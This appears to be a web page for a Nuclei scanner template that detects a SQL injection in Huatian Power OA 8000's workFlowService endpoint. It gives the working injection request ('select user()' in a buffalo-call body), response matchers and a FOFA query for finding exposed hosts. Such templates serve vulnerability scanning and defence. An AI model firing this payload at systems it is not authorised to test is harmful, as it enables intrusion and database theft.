Skip to content

Huatian Power OA 8000 workFlowService - SQL injection

ID: huatian-oa8000-sqli

Severity: critical

Author: SleepingBag945

Tags: huatian,oa,sqli

There is a SQL injection vulnerability in the workFlowService interface of Huatian Power OA 8000 version, through which an attacker can obtain sensitive database information

id: huatian-oa8000-sqli
info:
name: Huatian Power OA 8000 workFlowService - SQL injection
author: SleepingBag945
severity: critical
description: |
There is a SQL injection vulnerability in the workFlowService interface of Huatian Power OA 8000 version, through which an attacker can obtain sensitive database information
reference:
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E5%8D%8E%E5%A4%A9OA/%E5%8D%8E%E5%A4%A9%E5%8A%A8%E5%8A%9BOA%208000%E7%89%88%20workFlowService%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
metadata:
verified: true
max-request: 1
fofa-query: app="华天动力-OA8000"
tags: huatian,oa,sqli
http:
- raw:
- |
POST /OAapp/bfapp/buffalo/workFlowService HTTP/1.1
Host: {{Hostname}}
<buffalo-call>
<method>getDataListForTree</method>
<string>select user()</string>
</buffalo-call>
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/xml")'
- 'contains_all(body,"<buffalo-reply>" ,"<string>user()")'
condition: and
# digest: 4a0a00473045022100b65ebac0f68ef6bc66fba11351a8242d057b3453cda3a309cef7ae50697a75fa02205d4107ccd0ca9aa7dbc2d767b2dbb788cbde3292f7e8ce3d4d6c6754298d3a37:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/huatian-oa8000-sqli.yaml"

View on Github